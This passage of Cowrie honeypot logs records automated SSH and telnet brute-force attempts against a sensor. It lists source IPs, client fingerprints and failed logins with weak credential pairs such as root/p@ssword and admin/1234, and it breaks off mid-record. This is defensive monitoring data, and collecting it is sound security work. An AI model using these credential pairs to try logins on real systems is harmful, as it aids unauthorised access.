{"eventid":"cowrie.session.closed","duration":42.41262197494507,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:18.867608Z","src_ip":"192.119.13.58","session":"14dc5536d31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:19.352457Z","src_ip":"45.153.34.112","session":"58b8611cb24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"370fba5353cf","protocol":"ssh","message":"New connection: 45.153.34.112:44468 (10.17.0.5:22) [session: 370fba5353cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:21.172499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:21.177057Z","src_ip":"45.153.34.112","session":"370fba5353cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:21.260375Z","src_ip":"45.153.34.112","session":"370fba5353cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:21.508392Z","src_ip":"45.153.34.112","session":"370fba5353cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:22.593726Z","src_ip":"45.153.34.112","session":"370fba5353cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44480,"dst_ip":"10.17.0.5","dst_port":22,"session":"0975992587db","protocol":"ssh","message":"New connection: 45.153.34.112:44480 (10.17.0.5:22) [session: 0975992587db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:24.786635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:24.793997Z","src_ip":"45.153.34.112","session":"0975992587db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:24.876732Z","src_ip":"45.153.34.112","session":"0975992587db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.06558609008789,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:25.022516Z","src_ip":"192.119.13.58","session":"77266453b55c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:25.129246Z","src_ip":"45.153.34.112","session":"0975992587db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:26.214771Z","src_ip":"45.153.34.112","session":"0975992587db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44482,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c4e72a905c","protocol":"ssh","message":"New connection: 45.153.34.112:44482 (10.17.0.5:22) [session: 53c4e72a905c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:28.352385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:28.356933Z","src_ip":"45.153.34.112","session":"53c4e72a905c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:28.438876Z","src_ip":"45.153.34.112","session":"53c4e72a905c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:28.685645Z","src_ip":"45.153.34.112","session":"53c4e72a905c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:29.807596Z","src_ip":"45.153.34.112","session":"53c4e72a905c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49720,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c05fd952dbf","protocol":"telnet","message":"New connection: 192.119.13.58:49720 (10.17.0.5:23) [session: 5c05fd952dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:30.160846Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":42348,"dst_ip":"10.17.0.5","dst_port":22,"session":"da57113138ab","protocol":"ssh","message":"New connection: 43.134.175.218:42348 (10.17.0.5:22) [session: da57113138ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:31.372340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:31.381272Z","src_ip":"43.134.175.218","session":"da57113138ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:31.620260Z","src_ip":"43.134.175.218","session":"da57113138ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf902311aa98","protocol":"telnet","message":"New connection: 192.119.13.58:55828 (10.17.0.5:23) [session: cf902311aa98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:31.716860Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a59341a08b","protocol":"ssh","message":"New connection: 45.153.34.112:43678 (10.17.0.5:22) [session: d4a59341a08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.021274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.025439Z","src_ip":"45.153.34.112","session":"d4a59341a08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.107518Z","src_ip":"45.153.34.112","session":"d4a59341a08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.354458Z","src_ip":"45.153.34.112","session":"d4a59341a08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":38702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e911df4bd7","protocol":"ssh","message":"New connection: 158.178.141.16:38702 (10.17.0.5:22) [session: d2e911df4bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.459730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.464814Z","src_ip":"158.178.141.16","session":"d2e911df4bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.602782Z","src_ip":"43.134.175.218","session":"da57113138ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:32.679582Z","src_ip":"158.178.141.16","session":"d2e911df4bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:33.439141Z","src_ip":"45.153.34.112","session":"d4a59341a08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34356,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1e7f24cc8d","protocol":"telnet","message":"New connection: 192.119.13.58:34356 (10.17.0.5:23) [session: 9c1e7f24cc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:33.474956Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:33.556948Z","src_ip":"158.178.141.16","session":"d2e911df4bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:33.843373Z","src_ip":"43.134.175.218","session":"da57113138ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38864,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c93adbc5f5f","protocol":"telnet","message":"New connection: 192.119.13.58:38864 (10.17.0.5:23) [session: 2c93adbc5f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:34.497130Z"}
{"eventid":"cowrie.session.closed","duration":0.005174875259399414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:34.502155Z","src_ip":"192.119.13.58","session":"2c93adbc5f5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:34.772295Z","src_ip":"158.178.141.16","session":"d2e911df4bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.53606963157654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:34.912828Z","src_ip":"192.119.13.58","session":"b60e21f8c592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c41d4448123","protocol":"ssh","message":"New connection: 45.153.34.112:43686 (10.17.0.5:22) [session: 2c41d4448123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:35.566288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:35.571382Z","src_ip":"45.153.34.112","session":"2c41d4448123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:35.657346Z","src_ip":"45.153.34.112","session":"2c41d4448123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:35.905750Z","src_ip":"45.153.34.112","session":"2c41d4448123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43932,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a95f3d1268","protocol":"telnet","message":"New connection: 192.119.13.58:43932 (10.17.0.5:23) [session: 26a95f3d1268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:36.755673Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:37.082852Z","src_ip":"45.153.34.112","session":"2c41d4448123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43690,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b6e9bb4477f","protocol":"ssh","message":"New connection: 45.153.34.112:43690 (10.17.0.5:22) [session: 7b6e9bb4477f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:39.110302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:33:39.115076Z","src_ip":"45.153.34.112","session":"7b6e9bb4477f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2